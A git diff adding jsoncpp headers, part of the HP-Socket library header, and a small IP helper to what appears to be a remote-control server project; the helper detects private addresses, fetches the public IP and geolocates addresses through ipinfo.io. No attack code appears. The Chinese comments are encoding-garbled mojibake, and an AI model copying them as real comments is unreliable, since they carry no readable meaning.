setComment(String comment, CommentPlacement placement); + bool hasComment(CommentPlacement placement) const; + /// Include delimiters and embedded newlines. + String getComment(CommentPlacement placement) const; + + String toStyledString() const; + + const_iterator begin() const; + const_iterator end() const; + + iterator begin(); + iterator end(); + + /// \brief Returns a reference to the first element in the `Value`. + /// Requires that this value holds an array or json object, with at least one + /// element. + const Value& front() const; + + /// \brief Returns a reference to the first element in the `Value`. + /// Requires that this value holds an array or json object, with at least one + /// element. + Value& front(); + + /// \brief Returns a reference to the last element in the `Value`. + /// Requires that value holds an array or json object, with at least one + /// element. + const Value& back() const; + + /// \brief Returns a reference to the last element in the `Value`. + /// Requires that this value holds an array or json object, with at least one + /// element. + Value& back(); + + // Accessors for the [start, limit) range of bytes within the JSON text from + // which this value was parsed, if any. + void setOffsetStart(ptrdiff_t start); + void setOffsetLimit(ptrdiff_t limit); + ptrdiff_t getOffsetStart() const; + ptrdiff_t getOffsetLimit() const; + +private: + void setType(ValueType v) { + bits_.value_type_ = static_cast(v); + } + bool isAllocated() const { return bits_.allocated_; } + void setIsAllocated(bool v) { bits_.allocated_ = v; } + + void initBasic(ValueType type, bool allocated = false); + void dupPayload(const Value& other); + void releasePayload(); + void dupMeta(const Value& other); + + Value& resolveReference(const char* key); + Value& resolveReference(const char* key, const char* end); + + // struct MemberNamesTransform + //{ + // typedef const char *result_type; + // const char *operator()( const CZString &name ) const + // { + // return name.c_str(); + // } + //}; + + union ValueHolder { + LargestInt int_; + LargestUInt uint_; + double real_; + bool bool_; + char* string_; // if allocated_, ptr to { unsigned, char[] }. + ObjectValues* map_; + } value_; + + struct { + // Really a ValueType, but types should agree for bitfield packing. + unsigned int value_type_ : 8; + // Unless allocated_, string_ must be null-terminated. + unsigned int allocated_ : 1; + } bits_; + + class Comments { + public: + Comments() = default; + Comments(const Comments& that); + Comments(Comments&& that) noexcept; + Comments& operator=(const Comments& that); + Comments& operator=(Comments&& that) noexcept; + bool has(CommentPlacement slot) const; + String get(CommentPlacement slot) const; + void set(CommentPlacement slot, String comment); + + private: + using Array = std::array; + std::unique_ptr ptr_; + }; + Comments comments_; + + // [start, limit) byte offsets in the source JSON text from which this Value + // was extracted. + ptrdiff_t start_; + ptrdiff_t limit_; +}; + +template <> inline bool Value::as() const { return asBool(); } +template <> inline bool Value::is() const { return isBool(); } + +template <> inline Int Value::as() const { return asInt(); } +template <> inline bool Value::is() const { return isInt(); } + +template <> inline UInt Value::as() const { return asUInt(); } +template <> inline bool Value::is() const { return isUInt(); } + +#if defined(JSON_HAS_INT64) +template <> inline Int64 Value::as() const { return asInt64(); } +template <> inline bool Value::is() const { return isInt64(); } + +template <> inline UInt64 Value::as() const { return asUInt64(); } +template <> inline bool Value::is() const { return isUInt64(); } +#endif + +template <> inline double Value::as() const { return asDouble(); } +template <> inline bool Value::is() const { return isDouble(); } + +template <> inline String Value::as() const { return asString(); } +template <> inline bool Value::is() const { return isString(); } + +/// These `as` specializations are type conversions, and do not have a +/// corresponding `is`. +template <> inline float Value::as() const { return asFloat(); } +template <> inline const char* Value::as() const { + return asCString(); +} + +/** \brief Experimental and untested: represents an element of the "path" to + * access a node. + */ +class JSON_API PathArgument { +public: + friend class Path; + + PathArgument(); + PathArgument(ArrayIndex index); + PathArgument(const char* key); + PathArgument(String key); + +private: + enum Kind { kindNone = 0, kindIndex, kindKey }; + String key_; + ArrayIndex index_{}; + Kind kind_{kindNone}; +}; + +/** \brief Experimental and untested: represents a "path" to access a node. + * + * Syntax: + * - "." => root node + * - ".[n]" => elements at index 'n' of root node (an array value) + * - ".name" => member named 'name' of root node (an object value) + * - ".name1.name2.name3" + * - ".[0][1][2].name1[3]" + * - ".%" => member name is provided as parameter + * - ".[%]" => index is provided as parameter + */ +class JSON_API Path { +public: + Path(const String& path, const PathArgument& a1 = PathArgument(), + const PathArgument& a2 = PathArgument(), + const PathArgument& a3 = PathArgument(), + const PathArgument& a4 = PathArgument(), + const PathArgument& a5 = PathArgument()); + + const Value& resolve(const Value& root) const; + Value resolve(const Value& root, const Value& defaultValue) const; + /// Creates the "path" to access the specified node and returns a reference on + /// the node. + Value& make(Value& root) const; + +private: + using InArgs = std::vector; + using Args = std::vector; + + void makePath(const String& path, const InArgs& in); + void addPathInArg(const String& path, const InArgs& in, + InArgs::const_iterator& itInArg, PathArgument::Kind kind); + static void invalidPath(const String& path, int location); + + Args args_; +}; + +/** \brief base class for Value iterators. + * + */ +class JSON_API ValueIteratorBase { +public: + using iterator_category = std::bidirectional_iterator_tag; + using size_t = unsigned int; + using difference_type = int; + using SelfType = ValueIteratorBase; + + bool operator==(const SelfType& other) const { return isEqual(other); } + + bool operator!=(const SelfType& other) const { return !isEqual(other); } + + difference_type operator-(const SelfType& other) const { + return other.computeDistance(*this); + } + + /// Return either the index or the member name of the referenced value as a + /// Value. + Value key() const; + + /// Return the index of the referenced Value, or -1 if it is not an + /// arrayValue. + UInt index() const; + + /// Return the member name of the referenced Value, or "" if it is not an + /// objectValue. + /// \note Avoid `c_str()` on result, as embedded zeroes are possible. + String name() const; + + /// Return the member name of the referenced Value. "" if it is not an + /// objectValue. + /// \deprecated This cannot be used for UTF-8 strings, since there can be + /// embedded nulls. + JSONCPP_DEPRECATED("Use `key = name();` instead.") + char const* memberName() const; + /// Return the member name of the referenced Value, or NULL if it is not an + /// objectValue. + /// \note Better version than memberName(). Allows embedded nulls. + char const* memberName(char const** end) const; + +protected: + /*! Internal utility functions to assist with implementing + * other iterator functions. The const and non-const versions + * of the "deref" protected methods expose the protected + * current_ member variable in a way that can often be + * optimized away by the compiler. + */ + const Value& deref() const; + Value& deref(); + + void increment(); + + void decrement(); + + difference_type computeDistance(const SelfType& other) const; + + bool isEqual(const SelfType& other) const; + + void copy(const SelfType& other); + +private: + Value::ObjectValues::iterator current_; + // Indicates that iterator is for a null value. + bool isNull_{true}; + +public: + // For some reason, BORLAND needs these at the end, rather + // than earlier. No idea why. + ValueIteratorBase(); + explicit ValueIteratorBase(const Value::ObjectValues::iterator& current); +}; + +/** \brief const iterator for object and array value. + * + */ +class JSON_API ValueConstIterator : public ValueIteratorBase { + friend class Value; + +public: + using value_type = const Value; + // typedef unsigned int size_t; + // typedef int difference_type; + using reference = const Value&; + using pointer = const Value*; + using SelfType = ValueConstIterator; + + ValueConstIterator(); + ValueConstIterator(ValueIterator const& other); + +private: + /*! \internal Use by Value to create an iterator. + */ + explicit ValueConstIterator(const Value::ObjectValues::iterator& current); + +public: + SelfType& operator=(const ValueIteratorBase& other); + + SelfType operator++(int) { + SelfType temp(*this); + ++*this; + return temp; + } + + SelfType operator--(int) { + SelfType temp(*this); + --*this; + return temp; + } + + SelfType& operator--() { + decrement(); + return *this; + } + + SelfType& operator++() { + increment(); + return *this; + } + + reference operator*() const { return deref(); } + + pointer operator->() const { return &deref(); } +}; + +/** \brief Iterator for object and array value. + */ +class JSON_API ValueIterator : public ValueIteratorBase { + friend class Value; + +public: + using value_type = Value; + using size_t = unsigned int; + using difference_type = int; + using reference = Value&; + using pointer = Value*; + using SelfType = ValueIterator; + + ValueIterator(); + explicit ValueIterator(const ValueConstIterator& other); + ValueIterator(const ValueIterator& other); + +private: + /*! \internal Use by Value to create an iterator. + */ + explicit ValueIterator(const Value::ObjectValues::iterator& current); + +public: + SelfType& operator=(const SelfType& other); + + SelfType operator++(int) { + SelfType temp(*this); + ++*this; + return temp; + } + + SelfType operator--(int) { + SelfType temp(*this); + --*this; + return temp; + } + + SelfType& operator--() { + decrement(); + return *this; + } + + SelfType& operator++() { + increment(); + return *this; + } + + /*! The return value of non-const iterators can be + * changed, so the these functions are not const + * because the returned references/pointers can be used + * to change state of the base class. + */ + reference operator*() const { return const_cast(deref()); } + pointer operator->() const { return const_cast(&deref()); } +}; + +inline void swap(Value& a, Value& b) { a.swap(b); } + +inline const Value& Value::front() const { return *begin(); } + +inline Value& Value::front() { return *begin(); } + +inline const Value& Value::back() const { return *(--end()); } + +inline Value& Value::back() { return *(--end()); } + +} // namespace Json + +#pragma pack(pop) + +#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING) +#pragma warning(pop) +#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING) + +#endif // JSON_H_INCLUDED diff --git a/server/2015Remote/jsoncpp/version.h b/server/2015Remote/jsoncpp/version.h new file mode 100644 index 0000000..38faedf --- /dev/null +++ b/server/2015Remote/jsoncpp/version.h @@ -0,0 +1,27 @@ +#ifndef JSON_VERSION_H_INCLUDED +#define JSON_VERSION_H_INCLUDED + +// Note: version must be updated in three places when doing a release. This +// annoying process ensures that amalgamate, CMake, and meson all report the +// correct version. +// 1. /meson.build +// 2. /include/json/version.h +// 3. /CMakeLists.txt +// IMPORTANT: also update the SOVERSION!! + +#define JSONCPP_VERSION_STRING "1.9.6" +#define JSONCPP_VERSION_MAJOR 1 +#define JSONCPP_VERSION_MINOR 9 +#define JSONCPP_VERSION_PATCH 6 +#define JSONCPP_VERSION_QUALIFIER +#define JSONCPP_VERSION_HEXA \ + ((JSONCPP_VERSION_MAJOR << 24) | (JSONCPP_VERSION_MINOR << 16) | \ + (JSONCPP_VERSION_PATCH << 8)) + +#if !defined(JSONCPP_USE_SECURE_MEMORY) +#define JSONCPP_USING_SECURE_MEMORY 0 +#endif +// If non-zero, the library zeroes any memory that it has allocated before +// it frees its memory. + +#endif // JSON_VERSION_H_INCLUDED diff --git a/server/2015Remote/jsoncpp/writer.h b/server/2015Remote/jsoncpp/writer.h new file mode 100644 index 0000000..7c56a21 --- /dev/null +++ b/server/2015Remote/jsoncpp/writer.h @@ -0,0 +1,368 @@ +// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors +// Distributed under MIT license, or public domain if desired and +// recognized in your jurisdiction. +// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE + +#ifndef JSON_WRITER_H_INCLUDED +#define JSON_WRITER_H_INCLUDED + +#if !defined(JSON_IS_AMALGAMATION) +#include "value.h" +#endif // if !defined(JSON_IS_AMALGAMATION) +#include +#include +#include + +// Disable warning C4251: : needs to have dll-interface to +// be used by... +#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING) && defined(_MSC_VER) +#pragma warning(push) +#pragma warning(disable : 4251) +#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING) + +#pragma pack(push) +#pragma pack() + +namespace Json { + +class Value; + +/** + * + * Usage: + * \code + * using namespace Json; + * void writeToStdout(StreamWriter::Factory const& factory, Value const& value) + * { std::unique_ptr const writer( factory.newStreamWriter()); + * writer->write(value, &std::cout); + * std::cout << std::endl; // add lf and flush + * } + * \endcode + */ +class JSON_API StreamWriter { +protected: + OStream* sout_; // not owned; will not delete +public: + StreamWriter(); + virtual ~StreamWriter(); + /** Write Value into document as configured in sub-class. + * Do not take ownership of sout, but maintain a reference during function. + * \pre sout != NULL + * \return zero on success (For now, we always return zero, so check the + * stream instead.) \throw std::exception possibly, depending on + * configuration + */ + virtual int write(Value const& root, OStream* sout) = 0; + + /** \brief A simple abstract factory. + */ + class JSON_API Factory { + public: + virtual ~Factory(); + /** \brief Allocate a CharReader via operator new(). + * \throw std::exception if something goes wrong (e.g. invalid settings) + */ + virtual StreamWriter* newStreamWriter() const = 0; + }; // Factory +}; // StreamWriter + +/** \brief Write into stringstream, then return string, for convenience. + * A StreamWriter will be created from the factory, used, and then deleted. + */ +String JSON_API writeString(StreamWriter::Factory const& factory, + Value const& root); + +/** \brief Build a StreamWriter implementation. + +* Usage: +* \code +* using namespace Json; +* Value value = ...; +* StreamWriterBuilder builder; +* builder["commentStyle"] = "None"; +* builder["indentation"] = " "; // or whatever you like +* std::unique_ptr writer( +* builder.newStreamWriter()); +* writer->write(value, &std::cout); +* std::cout << std::endl; // add lf and flush +* \endcode +*/ +class JSON_API StreamWriterBuilder : public StreamWriter::Factory { +public: + // Note: We use a Json::Value so that we can add data-members to this class + // without a major version bump. + /** Configuration of this builder. + * Available settings (case-sensitive): + * - "commentStyle": "None" or "All" + * - "indentation": "". + * - Setting this to an empty string also omits newline characters. + * - "enableYAMLCompatibility": false or true + * - slightly change the whitespace around colons + * - "dropNullPlaceholders": false or true + * - Drop the "null" string from the writer's output for nullValues. + * Strictly speaking, this is not valid JSON. But when the output is being + * fed to a browser's JavaScript, it makes for smaller output and the + * browser can handle the output just fine. + * - "useSpecialFloats": false or true + * - If true, outputs non-finite floating point values in the following way: + * NaN values as "NaN", positive infinity as "Infinity", and negative + * infinity as "-Infinity". + * - "precision": int + * - Number of precision digits for formatting of real values. + * - "precisionType": "significant"(default) or "decimal" + * - Type of precision for formatting of real values. + * - "emitUTF8": false or true + * - If true, outputs raw UTF8 strings instead of escaping them. + + * You can examine 'settings_` yourself + * to see the defaults. You can also write and read them just like any + * JSON Value. + * \sa setDefaults() + */ + Json::Value settings_; + + StreamWriterBuilder(); + ~StreamWriterBuilder() override; + + /** + * \throw std::exception if something goes wrong (e.g. invalid settings) + */ + StreamWriter* newStreamWriter() const override; + + /** \return true if 'settings' are legal and consistent; + * otherwise, indicate bad settings via 'invalid'. + */ + bool validate(Json::Value* invalid) const; + /** A simple way to update a specific setting. + */ + Value& operator[](const String& key); + + /** Called by ctor, but you can use this to reset settings_. + * \pre 'settings' != NULL (but Json::null is fine) + * \remark Defaults: + * \snippet src/lib_json/json_writer.cpp StreamWriterBuilderDefaults + */ + static void setDefaults(Json::Value* settings); +}; + +/** \brief Abstract class for writers. + * \deprecated Use StreamWriter. (And really, this is an implementation detail.) + */ +class JSON_API Writer { +public: + virtual ~Writer(); + + virtual String write(const Value& root) = 0; +}; + +/** \brief Outputs a Value in JSON format + *without formatting (not human friendly). + * + * The JSON document is written in a single line. It is not intended for 'human' + *consumption, + * but may be useful to support feature such as RPC where bandwidth is limited. + * \sa Reader, Value + * \deprecated Use StreamWriterBuilder. + */ +#if defined(_MSC_VER) +#pragma warning(push) +#pragma warning(disable : 4996) // Deriving from deprecated class +#endif +class JSON_API FastWriter : public Writer { +public: + FastWriter(); + ~FastWriter() override = default; + + void enableYAMLCompatibility(); + + /** \brief Drop the "null" string from the writer's output for nullValues. + * Strictly speaking, this is not valid JSON. But when the output is being + * fed to a browser's JavaScript, it makes for smaller output and the + * browser can handle the output just fine. + */ + void dropNullPlaceholders(); + + void omitEndingLineFeed(); + +public: // overridden from Writer + String write(const Value& root) override; + +private: + void writeValue(const Value& value); + + String document_; + bool yamlCompatibilityEnabled_{false}; + bool dropNullPlaceholders_{false}; + bool omitEndingLineFeed_{false}; +}; +#if defined(_MSC_VER) +#pragma warning(pop) +#endif + +/** \brief Writes a Value in JSON format in a + *human friendly way. + * + * The rules for line break and indent are as follow: + * - Object value: + * - if empty then print {} without indent and line break + * - if not empty the print '{', line break & indent, print one value per + *line + * and then unindent and line break and print '}'. + * - Array value: + * - if empty then print [] without indent and line break + * - if the array contains no object value, empty array or some other value + *types, + * and all the values fit on one lines, then print the array on a single + *line. + * - otherwise, it the values do not fit on one line, or the array contains + * object or non empty array, then print one value per line. + * + * If the Value have comments then they are outputted according to their + *#CommentPlacement. + * + * \sa Reader, Value, Value::setComment() + * \deprecated Use StreamWriterBuilder. + */ +#if defined(_MSC_VER) +#pragma warning(push) +#pragma warning(disable : 4996) // Deriving from deprecated class +#endif +class JSON_API StyledWriter : public Writer { +public: + StyledWriter(); + ~StyledWriter() override = default; + +public: // overridden from Writer + /** \brief Serialize a Value in JSON format. + * \param root Value to serialize. + * \return String containing the JSON document that represents the root value. + */ + String write(const Value& root) override; + +private: + void writeValue(const Value& value); + void writeArrayValue(const Value& value); + bool isMultilineArray(const Value& value); + void pushValue(const String& value); + void writeIndent(); + void writeWithIndent(const String& value); + void indent(); + void unindent(); + void writeCommentBeforeValue(const Value& root); + void writeCommentAfterValueOnSameLine(const Value& root); + static bool hasCommentForValue(const Value& value); + static String normalizeEOL(const String& text); + + using ChildValues = std::vector; + + ChildValues childValues_; + String document_; + String indentString_; + unsigned int rightMargin_{74}; + unsigned int indentSize_{3}; + bool addChildValues_{false}; +}; +#if defined(_MSC_VER) +#pragma warning(pop) +#endif + +/** \brief Writes a Value in JSON format in a + human friendly way, + to a stream rather than to a string. + * + * The rules for line break and indent are as follow: + * - Object value: + * - if empty then print {} without indent and line break + * - if not empty the print '{', line break & indent, print one value per + line + * and then unindent and line break and print '}'. + * - Array value: + * - if empty then print [] without indent and line break + * - if the array contains no object value, empty array or some other value + types, + * and all the values fit on one lines, then print the array on a single + line. + * - otherwise, it the values do not fit on one line, or the array contains + * object or non empty array, then print one value per line. + * + * If the Value have comments then they are outputted according to their + #CommentPlacement. + * + * \sa Reader, Value, Value::setComment() + * \deprecated Use StreamWriterBuilder. + */ +#if defined(_MSC_VER) +#pragma warning(push) +#pragma warning(disable : 4996) // Deriving from deprecated class +#endif +class JSON_API StyledStreamWriter { +public: + /** + * \param indentation Each level will be indented by this amount extra. + */ + StyledStreamWriter(String indentation = "\t"); + ~StyledStreamWriter() = default; + +public: + /** \brief Serialize a Value in JSON format. + * \param out Stream to write to. (Can be ostringstream, e.g.) + * \param root Value to serialize. + * \note There is no point in deriving from Writer, since write() should not + * return a value. + */ + void write(OStream& out, const Value& root); + +private: + void writeValue(const Value& value); + void writeArrayValue(const Value& value); + bool isMultilineArray(const Value& value); + void pushValue(const String& value); + void writeIndent(); + void writeWithIndent(const String& value); + void indent(); + void unindent(); + void writeCommentBeforeValue(const Value& root); + void writeCommentAfterValueOnSameLine(const Value& root); + static bool hasCommentForValue(const Value& value); + static String normalizeEOL(const String& text); + + using ChildValues = std::vector; + + ChildValues childValues_; + OStream* document_; + String indentString_; + unsigned int rightMargin_{74}; + String indentation_; + bool addChildValues_ : 1; + bool indented_ : 1; +}; +#if defined(_MSC_VER) +#pragma warning(pop) +#endif + +#if defined(JSON_HAS_INT64) +String JSON_API valueToString(Int value); +String JSON_API valueToString(UInt value); +#endif // if defined(JSON_HAS_INT64) +String JSON_API valueToString(LargestInt value); +String JSON_API valueToString(LargestUInt value); +String JSON_API valueToString( + double value, unsigned int precision = Value::defaultRealPrecision, + PrecisionType precisionType = PrecisionType::significantDigits); +String JSON_API valueToString(bool value); +String JSON_API valueToQuotedString(const char* value); +String JSON_API valueToQuotedString(const char* value, size_t length); + +/// \brief Output using the StyledStreamWriter. +/// \see Json::operator>>() +JSON_API OStream& operator<<(OStream&, const Value& root); + +} // namespace Json + +#pragma pack(pop) + +#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING) +#pragma warning(pop) +#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING) + +#endif // JSON_WRITER_H_INCLUDED diff --git a/server/2015Remote/parse_ip.cpp b/server/2015Remote/parse_ip.cpp new file mode 100644 index 0000000..6ec9d5d --- /dev/null +++ b/server/2015Remote/parse_ip.cpp @@ -0,0 +1,155 @@ +#include "stdafx.h" +#include "parse_ip.h" +#include +#include +#include + +#pragma comment(lib, "Iphlpapi.lib") + +/** + * 鍒ゆ柇缁欏畾鐨 IP 鍦板潃鏄惁鏄眬鍩熺綉锛堝唴缃戯級IP + * @param ipAddress IP 鍦板潃瀛楃涓诧紙濡 "192.168.1.1"锛 + * @return 濡傛灉鏄眬鍩熺綉 IP锛岃繑鍥 true锛涘惁鍒欒繑鍥 false + */ +bool IsPrivateIP(const std::string& ipAddress) { + // 灏 IP 鍦板潃瀛楃涓茶浆鎹负浜岃繘鍒舵牸寮 + in_addr addr; + if (inet_pton(AF_INET, ipAddress.c_str(), &addr) != 1) { + Mprintf("Invalid IP address: %s\n", ipAddress.c_str()); + return false; + } + + // 灏嗕簩杩涘埗 IP 鍦板潃杞崲涓烘棤绗﹀彿鏁存暟 + unsigned long ip = ntohl(addr.s_addr); + + // 妫鏌 IP 鍦板潃鏄惁鍦ㄥ眬鍩熺綉鑼冨洿鍐 + if ((ip >= 0x0A000000 && ip <= 0x0AFFFFFF) || // 10.0.0.0/8 + (ip >= 0xAC100000 && ip <= 0xAC1FFFFF) || // 172.16.0.0/12 + (ip >= 0xC0A80000 && ip <= 0xC0A8FFFF) || // 192.168.0.0/16 + (ip >= 0x7F000000 && ip <= 0x7FFFFFFF)) { // 127.0.0.0/8 + return true; + } + + return false; +} + +// 鑾峰彇 IP 鍦板潃鍦扮悊浣嶇疆(鍩轰簬[ipinfo.io]) +std::string GetGeoLocation(const std::string& IP) { + std::string ip = IP; + if (isLocalIP(ip)) { + ip = getPublicIP(); + if (ip.empty()) + return ""; + } + + HINTERNET hInternet, hConnect; + DWORD bytesRead; + std::string readBuffer; + + // 鍒濆鍖 WinINet + hInternet = InternetOpen("IP Geolocation", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); + if (hInternet == NULL) { + Mprintf("InternetOpen failed! %d\n", GetLastError()); + return ""; + } + + // 鍒涘缓 HTTP 璇锋眰鍙ユ焺 + std::string url = "http://ipinfo.io/" + ip + "/json"; + hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0); + if (hConnect == NULL) { + Mprintf("InternetOpenUrlA failed! %d\n", GetLastError()); + InternetCloseHandle(hInternet); + return ""; + } + + // 璇诲彇杩斿洖鐨勫唴瀹 + char buffer[4096]; + while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) { + readBuffer.append(buffer, bytesRead); + } + + // 瑙f瀽 JSON 鍝嶅簲 + Json::Value jsonData; + Json::Reader jsonReader; + std::string location; + + if (jsonReader.parse(readBuffer, jsonData)) { + std::string country = jsonData["country"].asString(); + std::string city = jsonData["city"].asString(); + std::string loc = jsonData["loc"].asString(); // 缁忕含搴︿俊鎭 + if (city.empty() && country.empty()) { + }else if (city.empty()) { + location = country; + }else if (country.empty()) { + location = city; + }else { + location = city + ", " + country; + } + if (location.empty() && IsPrivateIP(ip)) { + location = "Local Area Network"; + } + } + else { + Mprintf("Failed to parse JSON response: %s.\n", readBuffer.c_str()); + } + + // 鍏抽棴鍙ユ焺 + InternetCloseHandle(hConnect); + InternetCloseHandle(hInternet); + + return location; +} + +bool isLoopbackAddress(const std::string& ip) { + return (ip == "127.0.0.1" || ip == "::1"); +} + +bool isLocalIP(const std::string& ip) { + if (isLoopbackAddress(ip)) return true; // 鍏堟鏌ュ洖鐜湴鍧 + + ULONG outBufLen = 15000; + IP_ADAPTER_ADDRESSES* pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen); + if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == ERROR_BUFFER_OVERFLOW) { + free(pAddresses); + pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen); + } + + if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == NO_ERROR) { + for (IP_ADAPTER_ADDRESSES* pCurrAddresses = pAddresses; pCurrAddresses; pCurrAddresses = pCurrAddresses->Next) { + for (IP_ADAPTER_UNICAST_ADDRESS* pUnicast = pCurrAddresses->FirstUnicastAddress; pUnicast; pUnicast = pUnicast->Next) { + char addressBuffer[INET6_ADDRSTRLEN] = { 0 }; + getnameinfo(pUnicast->Address.lpSockaddr, pUnicast->Address.iSockaddrLength, addressBuffer, sizeof(addressBuffer), nullptr, 0, NI_NUMERICHOST); + + if (ip == addressBuffer) { + free(pAddresses); + return true; + } + } + } + } + + free(pAddresses); + return false; +} + +// 鑾峰彇鍏綉IP, 鑾峰彇澶辫触杩斿洖绌 +std::string getPublicIP() { + HINTERNET hInternet, hConnect; + DWORD bytesRead; + char buffer[1024] = { 0 }; + + hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); + if (!hInternet) return ""; + + hConnect = InternetOpenUrl(hInternet, "https://api64.ipify.org", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0); + if (!hConnect) { + InternetCloseHandle(hInternet); + return ""; + } + + InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead); + InternetCloseHandle(hConnect); + InternetCloseHandle(hInternet); + + return std::string(buffer); +} diff --git a/server/2015Remote/parse_ip.h b/server/2015Remote/parse_ip.h new file mode 100644 index 0000000..6204905 --- /dev/null +++ b/server/2015Remote/parse_ip.h @@ -0,0 +1,32 @@ +#pragma once + +#include +#include +#include +#include +#include "jsoncpp/json.h" + +#ifndef _WIN64 +#ifdef _DEBUG +#pragma comment(lib, "jsoncpp/jsoncppd.lib") +#else +#pragma comment(lib, "jsoncpp/jsoncpp.lib") +#endif +#else +#ifdef _DEBUG +#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib") +#else +#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib") +#endif +#endif + +#pragma comment(lib, "wininet.lib") + +// 鑾峰彇 IP 鍦板潃鍦扮悊浣嶇疆 +std::string GetGeoLocation(const std::string& ip); + +bool isLocalIP(const std::string& ip); + +std::string getPublicIP(); + +bool IsPrivateIP(const std::string& ipAddress); diff --git a/server/2015Remote/proxy/HPSocket.h b/server/2015Remote/proxy/HPSocket.h new file mode 100644 index 0000000..8289c1b --- /dev/null +++ b/server/2015Remote/proxy/HPSocket.h @@ -0,0 +1,827 @@ +锘/* + * Copyright: JessMA Open Source (ldcsaa@gmail.com) + * + * Author : Bruce Liang + * Website : https://github.com/ldcsaa + * Project : https://github.com/ldcsaa/HP-Socket + * Blog : http://www.cnblogs.com/ldcsaa + * Wiki : http://www.oschina.net/p/hp-socket + * QQ Group : 44636872, 75375912 + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/****************************************************************************** +Module: HPSocket + +Usage: + 鏂规硶涓锛 + -------------------------------------------------------------------------------------- + 0. 搴旂敤绋嬪簭鍖呭惈 HPTypeDef.h / SocketInterface.h / HPSocket.h 澶存枃浠 + 1. 璋冪敤 HP_Create_Xxx() 鍑芥暟鍒涘缓 HPSocket 瀵硅薄 + 2. 浣跨敤瀹屾瘯鍚庤皟鐢 HP_Destroy_Xxx() 鍑芥暟閿姣 HPSocket 瀵硅薄 + + 鏂规硶浜岋細 + -------------------------------------------------------------------------------------- + 0. 搴旂敤绋嬪簭鍖呭惈 SocketInterface.h 鍜 HPSocket.h 澶存枃浠 + 1. 鍒涘缓 CXxxPtr 鏅鸿兘鎸囬拡锛岄氳繃鏅鸿兘鎸囬拡浣跨敤 HPSocket 瀵硅薄 + +Release: + <-- 鍔ㄦ侀摼鎺ュ簱 --> + 1. x86/HPSocket.dll - (32浣/MBCS/Release) + 2. x86/HPSocket_D.dll - (32浣/MBCS/DeBug) + 3. x86/HPSocket_U.dll - (32浣/UNICODE/Release) + 4. x86/HPSocket_UD.dll - (32浣/UNICODE/DeBug) + 5. x64/HPSocket.dll - (64浣/MBCS/Release) + 6. x64/HPSocket_D.dll - (64浣/MBCS/DeBug) + 7. x64/HPSocket_U.dll - (64浣/UNICODE/Release) + 8. x64/HPSocket_UD.dll - (64浣/UNICODE/DeBug) + + <-- 闈欐侀摼鎺ュ簱 --> + !!娉ㄦ剰!!锛氫娇鐢 HPSocket 闈欐佸簱鏃讹紝闇瑕佸湪宸ョ▼灞炴т腑瀹氫箟棰勫鐞嗗畯 -> HPSOCKET_STATIC_LIB + 1. x86/static/HPSocket.lib - (32浣/MBCS/Release) + 2. x86/static/HPSocket_D.lib - (32浣/MBCS/DeBug) + 3. x86/static/HPSocket_U.lib - (32浣/UNICODE/Release) + 4. x86/static/HPSocket_UD.lib - (32浣/UNICODE/DeBug) + 5. x64/static/HPSocket.lib - (64浣/MBCS/Release) + 6. x64/static/HPSocket_D.lib - (64浣/MBCS/DeBug) + 7. x64/static/HPSocket_U.lib - (64浣/UNICODE/Release) + 8. x64/static/HPSocket_UD.lib - (64浣/UNICODE/DeBug) + +******************************************************************************/ + +#pragma once + +#include "SocketInterface.h" + +/*****************************************************************************************************************************************************/ +/****************************************************************** TCP/UDP Exports ******************************************************************/ +/*****************************************************************************************************************************************************/ + +/**************************************************/ +/************** HPSocket 瀵硅薄鏅鸿兘鎸囬拡 **************/ + +template class CHPObjectPtr +{ +public: + CHPObjectPtr& Reset(T* pObj = nullptr) + { + if(pObj != m_pObj) + { + if(m_pObj) + _Creator::Destroy(m_pObj); + + m_pObj = pObj; + } + + return *this; + } + + CHPObjectPtr& Attach(T* pObj) + { + return Reset(pObj); + } + + T* Detach() + { + T* pObj = m_pObj; + m_pObj = nullptr; + + return pObj; + } + + BOOL IsValid () const {return m_pObj != nullptr ;} + T* Get () const {return m_pObj ;} + T* operator -> () const {return m_pObj ;} + operator T* () const {return m_pObj ;} + + CHPObjectPtr& operator = (T* pObj) {return Reset(pObj) ;} + +public: + CHPObjectPtr(_Listener* pListener = nullptr) + { + m_pObj = _Creator::Create(pListener); + } + + CHPObjectPtr(BOOL bCreate, _Listener* pListener = nullptr) + { + m_pObj = bCreate ? _Creator::Create(pListener) : nullptr; + } + + virtual ~CHPObjectPtr() + { + Reset(); + } + +private: + CHPObjectPtr(const CHPObjectPtr&); + CHPObjectPtr& operator = (const CHPObjectPtr&); + +protected: + T* m_pObj; +}; + +/**************************************************/ +/**************** HPSocket 瀵煎嚭鍑芥暟 ****************/ + +// 鍒涘缓 ITcpServer 瀵硅薄 +HPSOCKET_API ITcpServer* HP_Create_TcpServer(ITcpServerListener* pListener); +// 